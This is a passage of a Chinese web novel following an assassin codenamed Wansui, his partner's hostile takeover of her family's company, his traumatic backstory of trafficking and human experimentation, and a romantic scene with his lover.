“我这两年忙着盟洲那边的医疗研究,没空管他们,他又觉得自己行了。” “这次我不好好收拾他们一顿,他们都不知道江南月这三个字怎么写。” 江南月笑得和蔼可亲。 第10章 第七局 “刚才出去那男的看见没?” “给我二叔办事的,都一残疾人了,还蹦跶呢,果然身残志坚。” 江南月竖了个大拇指:“那我就助他一臂之力,让他身更残,志更坚。” 时清徵开口:“祝你好运。” “那是,等着看我战绩吧。”江南月得意抬头。 江南月想了想又道:“有个坏消息,你的位置泄露了,至少三拨人在追踪你。” 时清徵挑了挑眉:“哦?哪几家?” “幽灵组织打头阵,A国特情处和第七局也掺和进来了。” 时清徵嘴角勾起一抹极淡的弧度:“问题不大。” “这么自信?”江南月斜倚在椅背上,挑眉看他,红唇漾着玩味的笑意。 “特情处的情报网可不是吃素的,更别说第七局那些嗅觉比狗还灵的家伙。” 时清徵抬眸,眼底掠过一丝难以察觉的暗芒,语气平静无波:“因为我的资料,确实没有问题。” 他停顿了一下,仿佛在陈述一个毋庸置疑的事实。 “在国外读书的‘时清徵’,确实是个普通人。” 他拥有完整的学籍记录、合法的租房合同、清晰的银行流水,甚至还有几个可以互相串供、交情‘不错’的朋友圈。 他的人生轨迹,经得起任何常规甚至非常规的核查。 江南月眼中瞬间迸发出浓厚的兴味,身体微微前倾:“替身?” 时清徵的语气依旧轻描淡写:“一个和我有几分像的男孩,孤儿院长大,身世清白。 我资助他读书,而他需要做的,就是替我出现在那些需要‘时清徵’本人露面的场合,扮演好一个普通人的角色。” 江南月目光锐利地扫过时清徵的脸庞,带着一丝探究:“你把他.....” 她的尾音微妙地上扬,隐含未尽的深意。 “见过一面后,我把他送回FK集团了。” 时清徵流畅地接话:“昏鸦亲自接收并安置的,后续处理得很干净,不会留下任何隐患,问题不大。” “昏鸦”这个名字被提及时,带着一种不言而喻的份量。 至于其他身份.......那些行走在暗夜中的代号,那些沾血的过往,与时清徵这个身份毫无关联,自然也查不到他头上。 它们是两条永不相交的平行线。 江南月突然低笑出声,笑声在略显安静的包厢里显得有些突兀:“有意思......那幽灵组织那边呢?他们追查的可不是什么普通留学生吧?” “他们追踪的是‘万岁’,并不清楚我是时清徵,只不过不知道谁把我的行踪透露了。” 如果是内部叛徒,那人定然不知道时清徵就是万岁,不然时清徵现在早就麻烦缠身了 “不过,那群执行任务的杀手本身的确是个隐患。趁他们还没离开A国,得找机会把他们彻底‘处理’掉,以绝后患。” 江南月收敛了笑容,若有所思地点点头:“他们的确是个大问题,你也太不小心了。 那群人还真是锲而不舍,先是赤洲安全屋被炸,又是货轮被拦,现在都追到A国来了。 要我说,如果有人这么追你,你就从了吧。” 时清徵幽幽地望着江南月。 “你不想想我最开始为什么会暴露。” 江南月忽然想到了自己的那个下属,尴尬地咳嗽了一声。 “那啥,这的确是我的锅,我那时候忙着看研究数据呢,没想到手下人这么敷衍......” “万岁”这个代号在国际暗网上声名赫赫,却如同一个真正的幽灵,关于其真实身份的信息寥寥无几。 这份近乎完美的隐匿,一方面归功于时清徵自身近乎苛刻的谨慎和滴水不漏的操作,另一方面,则深深得益于他背后那个庞然大物——FK集团。 FK集团,总部设在盟洲,一个资本与权力交织的复杂之地。 它在阳光下经营着庞大的连锁餐饮、尖端医疗机构和跨国金融业务,形象光鲜亮丽。 然而,其真正的核心力量和巨额利润来源则是归功于那些灰色产业。 FK集团经营着庞大的军火贸易、情报网络等灰色乃至黑色的产业。 这个近些年如同彗星般突然崛起并迅速成为巨擘的势力,传闻其背后真正控股的,是盟洲一个传承百年的神秘家族。 时清徵刚才提到的“昏鸦”,正是这个古老家族年轻一代的掌舵者,未来的继承人。 江南月与时清徵,实则都是FK集团中握有相当分量股份的重要股东。 两人主要负责FK集团的地下产业,鲜有人知。 “第七局,你清楚它的底细吗?”时清徵微微蹙眉。 江南月:“怎么,连‘万岁’都没听说过这个部门?” 她倾身向前,压低声音道:“第七局是A国最神秘的特殊行动部门,直属最高安全委员会。表面上负责反恐和重大刑事案件,实际上.......” 她突然停顿:“专门处理那些见不得光的跨国威胁。暗网交易、生化武器走私、顶级杀手组织,这些都是他们的业务范围。” 时清徵眸色微沉:“权限呢?” “高得吓人。” 江南月轻哼一声,“可以直接调动军方特种部队,甚至能越过常规司法程序实施抓捕。” 她突然压低声音:“去年东洲西部那个军火商突然暴毙?就是他们的手笔。” 时清徵若有所思:“这么重要的部门,我不可能完全没听说过。” “因为你孤陋寡闻呗,你这么多年除了跟那个幽灵组织作对,对其他的事情是一点不关心啊。”江南月乐呵道。 时清徵:“.......其实也不是针对。” “啊对对,你没有劫人家的货,也没有杀人家的高层,更没有炸人家的军工厂。” 时清徵:“有没有人说你话很密?” “呵呵,谁敢?”江南月哼笑一声。 “你之所以不知道第七局,是因为他们的存在本身就是个‘不存在’的秘密。”江南月意味深长地说。 “他们所有行动记录都会在规定时间销毁,成员身份全部经过多重伪装。就连内部通讯,用的都是加密技术。” “这么神秘。” “不然呢,这种部门的存在本来就是不可宣之于众的秘密。” 这些资料还是她费了老大劲才查到的。 最后查到了这么点,真是有损她的威名啊。 江南月说着,还从手机相册里划拉出了一张照片。 照片上是个模糊的侧影,只能看清男人修长的手指。 时清徵:“这是?” “第七局的特工,我们的人猜测他就是行动组第三组组长南瓜,这是最近拍到的一张清晰影像,可惜没拍到正脸,不过我想哪怕是正脸也很可能进行了伪装。” 第七局下的行动处负责那些任务,其共分五组。 每组其下成员各有编号,至于每组负责人则是有特定代号。 “东洲西部军火商的那个任务就是第三小组负责的,他们组的负责人就是“南瓜”,所以这个人即使不是南瓜,也是其下的成员。” “哎,你别这个眼神啊,有本事你去查,查到这些很辛苦的好不好!”江南月不满道。 “你就查到了这点,还有吗?” “根据第三组负责人代号,我可以推断,其他组负责人可能叫黄瓜,西瓜之类的。”江南月一本正经的胡说八道。 “算了,一个代号而已,知道了用处也不大。”时清徵评价道。 能查到这种地步已经算很好了。 更何况他们和第七局没什么利益冲突,没必要查的那么详细。 江南月之所以会查第七局,也是因为东洲的那个军火商是她的仇家,结果她还没动手,就被第七局给灭了。 所以才去查了查。 江南月瞬间傲娇:“那可不,也不看看我是谁,就没有我的情报网查不到的。” 第11章 让他们来试试就知道了 时清徵回到住处后,将U盘插入特制电脑的接口。 这台机器经过他的亲手改装,若是普通设备,恐怕连最基本的运行都支撑不住。 他指尖悬在键盘上方,目光紧锁屏幕里飞速滚动的代码,眉心微蹙。 动作很慢,偶尔才敲击几下键盘。 确实棘手。 这个加密程序比他预想的更复杂。 时清徵一动不动地盯着屏幕,窗外天色渐暗,竟已过去了一整个下午。 算了。 他将屏幕一盖,反正不着急。 他都有点饿了。 顾鸣鹤今天回来顾家老宅,应该很晚才回来。 时清徵便一个人吃了晚饭。 晚饭后,他在花园的藤椅上坐着,夜风带着花香,很悠闲惬意。 但偏偏有人要来打扰他。 手机屏幕亮了一下。 有人在绿泡泡上给他发了消息。 他的绿泡泡是刚注册的,没有几个联系人。 现在发消息的人是“性感母蟑螂在线耍流氓” 不用想就知道是江南月。 【性感母蟑螂在线耍流氓:搞出来了吗?】 时清徵嘴角抽搐地看了眼她的网名,眼睛里露出了嫌弃。 但还是抬手打字回复。 【你洗了蒜了:做梦呢?】 【性感母蟑螂在线耍流氓:啊,你行不行啊。失望jpg.】 【你洗了蒜了:微笑jpg.】 【你洗了蒜了:你很着急?】 【性感母蟑螂在线耍流氓:也不是吧,就是很好奇,这是人的天性。】 【你洗了蒜了:别催。】 【性感母蟑螂在线耍流氓:听不懂jpg.】 那边许久没回复,过了几分钟,江南月发来了一段视频。 此时的她似乎处于一个夜店的包厢,视频所及,全是美男,灯光迷离下,身姿绰约。 可谓是百花齐放。 声音嘈杂,还有几道女音。 “姐姐,吃这个~” 可谓是男女通吃,玩得那叫一个百花齐放。 时清徵对此已经见怪不怪了。 江南月在盟洲那边玩得可比现在花,前男友和真爱能组十几局麻将了。 【性感母蟑螂在线耍流氓:这才是人生啊。色色jpg.】 【性感母蟑螂在线耍流氓:来玩不,这里的小妹妹很漂酿耶。】 【你洗了蒜了:?】 那边又是长时间没回复,看来是在忙。 时清徵坐在外面的代价就是被蚊子腿上叮了好几个包。 顾鸣鹤今晚似乎不打算回来。 时清徵没问,因为他没顾鸣鹤联系方式。 回屋后,时清徵打开了电脑,敲下一行加密指令后登陆了FK集团的内网。 一条消息弹了出来。 【昏鸦:你寄过来的那个小屁孩我安排去研发部了,他的变脸技术绝了,我直接给他开了条生产线!】 【万岁:那是易容,而且开一条生产线是什么鬼?】 【昏鸦:他那易容药水不错,我觉得可以量产,就让他到生产线上干活去了。】 【万岁:黑心老板压榨童工啊,举报了。】 【昏鸦:说得好像分红你没拿似的。抠鼻.jpg】 【万岁:黑心昏鸦压榨员工啊,二次举报。】 【昏鸦:反了你了,信不信扣你年终奖!】 【万岁:已读不回。】 【昏鸦:......说正事,查到是谁卖你了,情报组那个地中海,还是我当年亲自招的。尴尬挠头.jpg】 【万岁: :) 】 【万岁:你这个老板怎么当的,我前段时间被追得鞋都差点跑丢了,精神损失费结一下。】 【昏鸦:哎呀年轻人要多锻炼嘛~你看你现在跑得多快。战术喝茶.jpg】 【万岁:.......】 时清徵当时从赤洲撤离自然是需要有人配合的。 只是突发意外,撤离路线需要进行调整。 这个任务就交到了其他人手中。 情报组的上层只有寥寥几人知道万岁的撤离路线。 那地中海也算是元老级别的人物,没想到隐藏的这么深。 正好趁此机会将他逮了出来。 【昏鸦:哎呀,我有个好主意,正好用那个地中海来钓鱼,你觉得把他挂鱼钩上怎么样?】 【万岁:........】 【万岁:随你的便,反正这件事你不给我一个交代你就完了。】 【昏鸦:啊,什么胶带?透明胶带还是电胶带?我A文不太好呀。】 时清徵和几个同事聊天时习惯用A文,虽然昏鸦不是A国人,但他A文说的还不错,不存在混淆的可能。 时清徵沉默,手指搁在键盘上。 半晌才敲下一句话。 【万岁:先别动那个地中海,他还有用。】 【昏鸦:钓鱼执法是吧?】 【万岁:我这边还有几个尾巴,在这里不方便动手。】 【昏鸦:你说那几个杀手啊?】 【万岁:让情报组放出消息,就说我准备从A国西南边境撤离,目的地东南群岛。】 【昏鸦:问题不大。】 【昏鸦:对了,忘记问你,你登暗网了吗?】 【万岁:怎么了?】 时清徵觉得昏鸦不会无缘无故提起,于是登陆了一个网站。 网站加密级别很高,登进去后页面整洁,看起来没有什么特别的。 只是在最显眼的位置上,万岁的通缉令格外明显。 时清徵:....... 这件事情他早就知道了,不过刚才幽灵组织又追加了价格,直接把万岁的人头提到了五十亿。 【万岁:幽灵组织那边下的?】 【昏鸦:不然呢?幸灾乐祸jpg.】 【万岁:问题不大。】 时清徵是真觉得问题不大。 杀手排行榜固然汇聚了全球顶尖好手,但他“万岁”的名号也不是凭空得来。 幽灵组织此次派出的杀手,虽都位列榜单,对他而言也不过是多费些周章。 全身而退的把握,他向来十足。 更何况,真正有份量的人物,也鲜少会贸然来触他的霉头。 幽灵组织这次像疯狗一样的来咬他,还是因为时清徵这两年实在是给他们找了不少麻烦。 炸赤洲的几个军工厂不过是一个导火索罢了。 【昏鸦:最新一期“暗网杀手排行”榜单更新了,你又下滑了两名,目前第六。捶胸顿足.jpg】 时清徵曾连续数年稳坐杀手榜魁首,但这近两年他刻意减少了高调任务的承接频率。 排行榜的积分算法基于任务数量、难度系数、目标价值及完成度综合加权。 纵使他保持着令人咋舌的100%任务完成率,也无法弥补因“沉寂”造成的积分流失。 身为FK集团控股股东兼首席执行官的昏鸦,面对这张曾经的王牌如今这般“不思进取”,自然是痛心疾首。 奈何他深知,这位爷的脾性,强求不得。 更何况就时清徵在FK集团的地位来说,早就不用自己接任务了。 躺着当个资本家数钱就行。 所以昏鸦还真不敢逼他。 不然时清徵可能会像其他两个人一样当甩手掌柜。 自己到时候的工作量怕是要翻一番。 青鸟还算是好的,另一个直接环游世界去了。 就差蹦出宇宙了。 昏鸦一直怀疑她是不是在偷摸造宇宙飞船。 【万岁:无妨。】 排名虚名,他早已看淡。 【昏鸦:无妨个鬼!业内风评都开始质疑你‘万岁’的含金量了,幽灵那边刚把你的悬红又翻了一倍,现在你的人头可是天价!】 【昏鸦:现在外面的人都怀疑你不行。斜眼笑jpg.】 【万岁:我行不行?让他们来试试就知道了。】 第12章 我,江南月,江家大小姐 次日下午,青鸟发来了那几个杀手的尸体照片。 【青鸟:艾玛,许久不动了,老子身手还是那么NB。】 【青鸟:图片】 【青鸟:图片】 照片上是一个笑容灿烂的女生摆着茄子手,背景则是一地凌乱的尸体。 极具冲击感。 时清徵没想到青鸟的动作这么迅速,也有些诧异。 他还以为青鸟会先晾他几天在收拾这些杀手呢。 【青鸟:帮你解决了,说吧,这次要怎么感谢我?】 【万岁:下次请你吃饭。】 【青鸟:OK啊,地方我定。】 江南月拿着手机笑得灿烂。 这可不得好好宰他一波? 江南月交叠双腿放下会议桌上,玩着手机,一副嚣张的姿态。 会议桌两侧的众人大气都不敢喘一下。 面对眼前这个短发姑娘,他们心里是发怵的。 毕竟几年前这姑娘血洗了一次董事会,把江氏集团搞得天翻地覆。 如今这姑娘又回来了,他们可以说是一个个缩着脖子当鹌鹑,人人自危。 江南月心情大好,扬着眉梢对下面的众人说。 “哑巴了,不会说话?” 众人:....... 他们低下脑袋,用眼神偷偷交流。 你不说吗?那我也不说。 大家都不要说好了。 你知道上课老师提问问题,但你恰好不会的感觉嘛。 就是恨不得把脑子塞到桌洞里,顺便找个地缝钻进去的心情。 现在江氏的这群董事们就是这种心情。 也算是重回少年时代了。 江南月把腿放下,用手敲了敲桌子。 “说话!” 场面一度寂静,然后响起了此起彼伏的咳嗽声。 离江南月最近的一位胖董事,姓李,额头上瞬间沁出一层油亮的汗珠。 他慌忙用手帕擦拭,声音带着不易察觉的颤抖: “那个.....江董,您息怒。关于,关于收购我们手中股份的事,我们理解您的心情。 但这毕竟是大事,涉及面广,价值巨大,是不是应该从长计议?至少,给我们点时间评估一下.......” 面对着江南月没什么表情的脸,他的声音越来越轻,连脑袋也慢慢低了下去。 “从长计议?”江南月唇角勾起一抹极冷的弧度。 这笑容非但没带来丝毫暖意,反而让会议室温度骤降。 众人心头警铃大作:别笑了!求你别笑了! 果然,下一秒,江南月的声音陡然拔高。 “明天是我爷爷的七十大寿。” 所有人都猛地抬头,惊疑不定地看着她。 寿宴?在这种剑拔弩张、逼人卖股份的时刻提寿宴?什么意思? 江南月身体微微前倾,双手撑在桌面上,强大的压迫感瞬间笼罩全场。 她的声音不高,却字字如刀,清晰地刻进每个人的耳朵里: “同样也是我父亲车祸去世的日子。” 众人:!!! 这祖宗要干什么?! “我,江南月,江家的‘大小姐’。” 她特意加重了“大小姐”三个字,带着浓浓的嘲讽。 “你们都知道,我这个‘大小姐’,在江家是什么地位。我这20%股份,几年前,我是怎么从那些‘亲爱的’叔叔伯伯嘴里,硬生生抠出来的?嗯?” 没有人敢接话,那段“血洗董事会”的记忆太过惨烈,至今仍是这些老臣的噩梦。 那20%里有一部分是她父母车祸离世后,本该属于她的遗产,却被家族以各种名义稀释、侵占。 几年前她雷霆归来,手段狠辣,才勉强夺回了那些“本钱”,顺便讨了点利息。 如今江南月手中的股份共有百分之二十。 看起来不少,但这点股份还是远远不够的。 毕竟江家老爷子和她的那些叔叔伯伯手中还有不少股份。 江南月直起身,目光锐利:“所以我这次回来,目的很简单。 我要江氏集团。实实在在的,属于我的江氏集团。” 她环视一周,清晰地吐出她的计划: “在座各位的手里零零散散加起来,大概有35%左右的流通股吧?加上我手里的20%,只要你们‘心甘情愿’地卖给我,凑够55%以上,就够了。 成为绝对控股股东,这要求不过分吧?” “你.......你这是要架空整个家族?”有人忍不住小声惊呼。 江南月嗤笑一声:“架空?这个主意不错。” 前些年她回A国京城时正是FK集团发展正急迫的时间,身为大股东之一,她没有时间跟江家一般见识。 不过如今她可是有空了。 她的眼神变得无比冰冷,带着一种近乎残忍的期待: 明天,就在江家老爷子七十大寿的宴席上,在所有宾客面前,在所有他引以为傲的家族成员面,江南月会亲手送上这份大礼。 江氏集团实际控制权易主的消息。 江家欠她父亲的,欠她母亲的,欠她的,她都会从江家人身上千倍万倍地抢回来。 “各位可要考虑清楚,是选我,还是选那群蠢货。” 她顿了顿,欣赏着众人惨白的脸色,一字一句地补充: “其实我呢,也只是想好心提醒一下各位,如果不想跟整个江氏集团一起消失,那就最好乖乖听我的。” 说罢,她笑容格外明媚。 “当然了,诸位都是文明人,不然也不会坐在会议桌面前谈了。” 江南月像点兵点将一样,一个个报出名字,一个个开出令人无法拒绝的天价。 每报出一个数字,就像在平静的水面投下一颗巨石,在那些董事心里掀起惊涛骇浪。 巨大的利益诱惑,叠加着对江南月手段的恐惧。 有人开始偷偷交换眼神,不再是刚才的共患难,而是充满了算计和动摇。 ——谁先卖?谁卖得最快?谁拿到的钱最多? 然而,就在这微妙而紧张的气氛中,一个略显苍老的声音带着不甘和最后一丝挣扎响起。 是坐在角落的赵董,他持股不多,但资历最老,对江家也有一份旧情。 “江总…您…您开的价格,确实令人心动。但江氏,毕竟是您爷爷和您父辈们的心血,我们这些老骨头也跟了一辈。您这样强取豪夺,是不是…太过分了?而且,您哪来这么多资金,这并不合理。” “过分?不合常理?” 江南月仿佛听到了什么极其有趣的笑话,短促地笑了一声,打断了赵董的话。 她身体微微后仰,重新交叠起那双修长的腿,姿态慵懒,眼神锐利如刀,一一扫过在场众人。 “赵老,看来您年纪大了,记性不太好。” 她的声音不高,却带着一种冰冷的穿透力:“您忘了我父亲是怎么死的了?忘了当年江家是怎么瓜分他们遗产,把我逼出国的了?跟你们谈过分?你们配吗?” 她顿了顿,指尖在光滑的手机屏幕上轻轻滑动了一下,屏幕亮起,映出她冷冽的眉眼。 “至于钱…还有我凭什么这么‘豪横’?” 她抬眼,目光如同实质般压在赵董身上,也压在每一个竖起耳朵的董事心上。 “你们以为江家算什么东西?” 在京城,或许还能叫一声豪门,但在江南月眼里,江氏不过是个稍微大点的池塘罢了。 江南月拿起手机看了一眼时间。 “诸位可以看一下自己的邮箱,相信对我的话可以有更真切的考量。” 话音刚落,密集的手机提示音响起。 第13章 时尚贤 所有董事都下意识的拿起了自己的手机,心中升起了一丝不好的预感。 屏幕亮起,显示出新邮件的提醒。 【黑石资本】 众人倒吸一口凉气,纷纷手忙脚乱的点开邮箱。 邮件内容简洁,专业。 而内容则是。 【江南月女士作为我司重要的合作伙伴和股东,其意见与决策对我司在相关领域的资源配置具有显著影响力.........】 简而言之,收购江氏股份背后的操盘手是黑石资本。 黑石资本,那是全球资本市场的顶级掠食者,掌控着难以想象的资金流和影响力。 江氏在它面前,确实不够看的。 黑石资本只要稍微“关照”一下江氏,就足以让江氏伤筋动骨。 众人此时握着手机不语,但背后已经冒出冷汗。 再看前头的江南月,他们才真正认清了她。 她不是虚张声势,她背后站着的是黑石资本这头真正的金融巨兽。 她真的只需要“动动手指”,就能让江氏万劫不复。 “我签,立即签!” “我也签!我现在就叫人去拟协议。” 会议室像炸开了锅一样,所有董事争先恐后的站起来,纷纷表态。 江南月:“诸位别急,稍坐啊。” 随后对外面道:“都进来吧。” 一支律师团队从外面走了进来,每个人手中都拿着一份文件夹。 这些文件夹被摆到了各个股东面前。 翻开,是早就准备好的股份转让协议。 这哪里是临时起草,分明是早有预谋。 诸位董事最后一丝侥幸也烟消云散,纷纷抬笔签下了自己的名字。 江南月依旧坐在主位,指尖在手机屏幕上滑动。 看起来心情很是不错。 与此同时,京城另一处,半山庄园内。 时清徵研究了半天U盘,破掉了第一层密码,此时略显疲惫地靠在沙发上。 他随手拿起手机刷了刷朋友圈。 虽然他刚回国没多久,手机里的联系人不超过五个,基本还都是在半山庄园里工作的人。 管家,李婶...... 老年人的朋友圈要么是花花草草,要么就不发。 他的手指习惯性地向下滑动。 突然,一条极其醒目、画风清奇的朋友圈闯入眼帘: 【性感母蟑螂在线耍流氓:噢耶,装逼成功!(??????)?? 配图】 照片里,是江南月在会议室里冷若冰霜、杀气腾腾训话时候的样子。 时清徵:“……?” 他握着手机的手指顿住了,眉头微微蹙起。 下意识地又往下划拉了一下屏幕,想看看有没有其他动态。 朋友圈几乎是立刻刷新,一条新的、来自同一个ID的动态蹦了出来: 性感母蟑螂在线耍流氓:【想想明天就激动,好想快点给爷爷庆祝生辰啊!!(????) (?ω?) 好期待好期待!礼物都准备好啦!绝对惊喜!(? ?_?)?】 文字后面还跟着一连串极其活泼、甚至有点幼稚的颜文字。 时清徵满脑子问号:这人搞什么? 时清徵此行潜入A国京城,自然不是仓皇逃亡。 他现身于此,源于在赤洲执行上一项任务时,顺手抹除了一名幽灵组织的高层管理。 在目标临终前短暂的、由时清徵主导的“信息交流”中,对方吐露了一个关键情报: 幽灵组织与京城某个盘根错节的显赫家族存在深度利益捆绑,且其触角已悄然渗透进京城的权力与情报网络。 而且这个在A国的负责人曾参与过数年前的那一场人体实验。 作为竞争对手,时清徵不可能坐视幽灵组织将势力版图扩张至此地。 而且那个负责人手中极有可能掌握数年前那场实验资料的数据。 此行,目的明确:斩断幽灵组织伸向京城的这条路线,将其连根拔起。 然后揪出后面的那个负责人,把资料弄出来。 遗憾的是,那名高层所透露的信息极其有限,在榨取出更多核心机密前,便被时清徵干净利落地处理掉了。 因此,时清徵手中掌握的线索颇为零散,此番只能依靠自己抽丝剥茧,逐一查证。 时清徵眸色暗沉。 京城,他母亲的仇人还在这里,那就一起清算了吧。 时清徵虽说自己是A国人,但实际上并非出生于A国,而是出生于东南群岛。 他的母亲时尚贤是沿海小城的一个书香门第小姐。 虽然算不上大富大贵,也能过上很不错的生活。 时尚贤被家人宠着长大,虽然知书达理,但却涉世未深。 赴M国留学时,她遇到了自己的真爱——程俊安。 程俊安先是对他展开猛烈的追求,一个十八九岁的小姑娘怎么可能经受住这些。 两人相恋后,程俊安带她认识了自己身边的一群好哥们,并且郑重介绍了她。 时尚贤以为自己遇到了真爱。 两人度过了很美好的留学生涯。 程俊安回国前信誓旦旦,说:“只要回国我就娶你。” 两人经过了无数的海誓山盟,时尚贤自以为认识了程俊安的真心,幸福地答应了。 回国前夕,两人喝了酒。 程俊安哄着人上了床。 时尚贤回国后对程俊安念念不忘,联系后却发现自己被拉黑。 于是,时尚贤一个人跑去京城,询问自己在京城许久没联系的人是否认识程俊安。 结果得知程家大公子就叫程俊安,而且已经与人定亲了。 时尚贤不愿相信二者是同一人,跑到程家附近守着,见到程俊安后上前质问。 结果程俊安的未婚妻正好看见。 三人拉拉扯扯,好不难看。 时尚贤终究是有尊严的,她指着程俊安,让他滚。 说,他们以后再没有关系。 要是故事只是到这里,时尚贤也只是一个暂时误入歧途被渣男哄骗的可怜人。 于此同时,程俊安的未婚妻因为知道时尚贤的存在,甩了对方一巴掌,说要是程俊安处理不好就退婚。 程俊安跪在未婚妻面前,哭着说时尚贤是如何勾引他,如何欺骗他。 最后为了给未婚妻的家族一个交代,对时尚贤赶尽杀绝。 时尚贤被犯罪团伙卖到了东南群岛,到了一个夜场做舞女。 几个月后,时尚贤被当地一个小头领看上,留在身边。 最后她怀了身孕,可能是那个小头领的,也可能不是。 十个月后,她生下了一对龙凤胎,姐姐叫清羽,弟弟叫清徵。 但东南群岛动乱不安,这个小头领没多久就死了。 时尚贤在东南群岛辗转挣扎,却始终没有丢下自己的孩子。 在一个当地老板的帮助下,她去了一个夜店当服务员。 后来为了钱,又当陪酒女。 最后没几年,她就染上du死了。 那时候,时清徵和他姐姐时清羽才四岁。 第14章 看他求死 “时”这个姓是他自己后来冠上的。 因为他们都不知道自己的父亲是谁,那不重要。 养他们的是母亲。 那个很蠢的女人。 那个很好的女人。 那个单纯到傻的人,最后也没有遗弃他们姐弟的人。 时清羽也死了,死在人体器官贩卖组织的手中。 当那群人的手伸过来时,时清羽,他的姐姐挡在他的前面。 后来的很多年,时清徵努力回忆她们的脸,可记不清了。 她们的脸越来越模糊。 可她们身上流的血越来越刺眼。 他姐姐死了,但他被救了。 或者说进了另一个地狱。 时清徵不知道那群人要什么,只知道自己身边有很多孩子。 他们一般大。 时常有“医生”来给他们注射药物,然后把他们关下笼子里。 像是养蛊。 最后时清徵才知道,他们是在做人体实验。 他们想要创造一种人类,拥有比常人更强的力量,更长的寿命。 失败了。 除了时清徵,其他人可能都死了。 那些实验人员看见时清徵爆发出异于常人的力量,将一个大他一圈的少年压在地上,咬破对方的脖颈。 他们以为自己成功了。 兴高采烈地把时清徵带走。 时清徵如今还会记起那时候自己口中满是恶心黏腻。 他被架走时回头看了一眼,对方倒在血泊里,不动弹了,只有血还在流。 流了一地,流到前面去。 前面是时清徵要走的路。 最后经过那群试验人员的一通分析,结果只得出一个结论。 药物并没有产生作用,实验继续。 时清徵知道。 不是药力,是咬紧牙关的毅力。 濒死的人总会有无穷的潜力。 后来不知什么原因,这个实验停止了。 时清徵被扔到了这个组织里,他身手很不错,不能浪费了。 要继续为组织效命。 这个组织叫幽灵组织。 在幽灵组织的几年,他不见日月。 但他知道,他想活下去,就应该找一个太阳。 活下去,报仇。 这种偏执的想法如同营养,供养他浅薄的生命。 每当遍体鳞伤,支撑他起来的是一个个躺在他前面的模糊血肉。 他踏着枯骨逃出来这个魔窟。 那年他十三岁,他什么都不懂,他什么都不需要懂。 直至很多年后,他也没真正见到太阳。 那些暗无天日的日子,那些在血海里挣扎的岁月。 时清徵也许最开始并没有那么重的执念和怨念。 但支撑他这么多年的信仰,早就刻在骨血里,剥去,他会死。 时清徵看着电脑上的资料,没有什么表情。 他拿起一旁的水杯,喝了一口,入口冰凉清润,让他从回忆里抽离了出来。 这些资料,他看过无数遍。 早就可以用旁观者的视角来审视这一切。 对于他来说,他并不在乎,他的仇可以慢慢报。 时清徵并不着急。 因为那些痛苦对他而言早就不是痛苦了,似乎在过往的岁月里它成了稀疏平常。 在那什么都不懂的年纪,时清徵觉得那种生活是正常的。 只是他母亲的仇要报,他姐姐的仇也要报。 幽灵组织也一样。 时清徵年幼时被注射过太多药物,甚至出现了后遗症。 时清徵两年前回过东南群岛,只是那里实在是乱,势力替换太快。 那些势力早就不知道被谁湮灭了,连仇都无法亲手报。 想到这,时清徵的手指不自觉用力。 这种感觉真的很不好。 时过境迁,反而恩怨成空。 “程俊安........”时清徵低声念出了这个名字。 比起让他死,时清徵更想看他求死。 毕竟杀人,很没意思。 顾鸣鹤回来时,看到屋内一片昏暗,但他知道时清徵在里面。 时清徵窝在小沙发里,闭眼浅寐。 窗帘半开,透点月光进来,洒在地板上。 这人在黑暗里,却依稀可见轮廓。 顾鸣鹤原本想开灯的手忽然顿住了,连呼吸都不由自主地放松。 他走过去,声音很轻。 站在时清徵面前,静静看他。 觉得他好乖。 时清徵自然没有睡着,但他太会装睡了。 任谁都是发现不了的。 他喜欢顾鸣鹤,喜欢那张脸,也喜欢顾鸣鹤身上给他的感觉。 那种感觉是他这种人一辈子都不会拥有的。 见到顾鸣鹤的第一眼,时清徵就觉得他是生活在权势与金钱中的人。 这种人向来是高高在上,眼高于顶的。 似乎永远带着矜贵从容的气质,那种底蕴浇灌出来的从容。 是他这种人模仿不来的。 但即使表现得再谦和温柔,装地再潇洒不羁,他们的心也是冷的。 时清徵很好奇,他们是怎么做到的? 明明这群人心里算盘都快打冒烟了,心眼比谁都多。 他们是怎么做到表里不一的? “毫无自知之明”的时清徵心中盘算着。 直到忽然被人抱起。 时清徵被抱着往床那边走去。 这才悠悠“转醒”。 “先生,你回来了?”时清徵声音低低的,似乎意识不太清醒。 顾鸣鹤将他放到床上,才开了灯。 灯光骤亮,让时清徵眼睛不适应地闭了闭。 “怎么不等我?”带着威士忌味的指腹摩挲过时清徵的下颌。 时清徵睫毛颤了颤:“等着等着......就掉进梦里了。” 说到后半句的时候,他还忍不住笑了出来。 嗓音还夹着睡意,似乎困倦还没有散去。 顾鸣鹤低笑一声,虎口突然卡住他下巴。拇指按上柔软的下唇,力道带着危险的亲昵: “下次再敢先睡,我就把你绑在客厅等。” 说话时俯身,领带垂落,扫过人的锁骨。 时清徵仰头承接他带着酒气的吻。 顾鸣鹤的犬齿碾过他舌尖。 “记住了?”顾鸣鹤抵着他额头喘息。 时清徵忽然勾住他后颈,指甲划过衬衫:“顾先生要收拾人,总得给点盼头?” 指尖顺着脊椎滑进西装内衬。 “你这是嫌我回来晚了?” 顾鸣鹤身为总裁,自然也少不了应酬,但这几日确实都回来的晚。 看来惹得自己的雀儿不满了。 也是。 毕竟他只有自己。 顾鸣鹤想起自己查到的时清徵的一些资料,东南群岛那边混乱,想查得清楚并不容易。 时清徵出生于东南群岛那边,自幼生活贫苦。 十三岁那年在当地一个好心人的资助下上了学,前不久才回到A国。 但他的母亲是A国人,难怪他会回到这里。 顾鸣鹤想到时清徵的身世,就不由多了些怜惜。 虽然这些资料都是简单的三言两语概括,但他还是能看出他是个可怜的。 难怪这么惹人疼。 既然这样,那么半年后自己多疼疼他罢了。 以后多给些钱,也不算委屈他。 顾鸣鹤摸着人的侧脸,一路下移,深深浅浅。 时清徵的身子微微颤栗。 “先生......” “唔.......” 月光偏移的刹那,顾鸣鹤看着身下人,眼中掠过占有的光。 他想着,也这么做了。 床垫下沉的震动里,时清徵弯起唇角。 第15章 江老爷子 时清徵醒来得早,那时天才蒙蒙亮。 晨光从窗帘的缝隙间渗入,在地毯上晕开一片朦胧的灰蓝。 时清徵倏然睁开眼,睫毛在眼底投下浅淡的阴影。 他的生物钟向来很准,只是前几日被幽灵组织的那群疯狗追咬咬,着实累到了。 腰间沉甸甸地箍着的是顾鸣鹤的手臂。 那手臂将他整个圈在怀里,掌心覆在他腰侧。 背后紧贴着宽阔温热的胸膛,沉稳的心跳透过脊背传来,连同绵长均匀的呼吸。 昨夜,混杂着雪松与昨夜威士忌的余味,织成一张网,将他密实地笼罩其中。 就这么清醒地沉沦在密网中。 时清徵就这样安静地躺着,像沉在水底。 起初意识还是清明的。 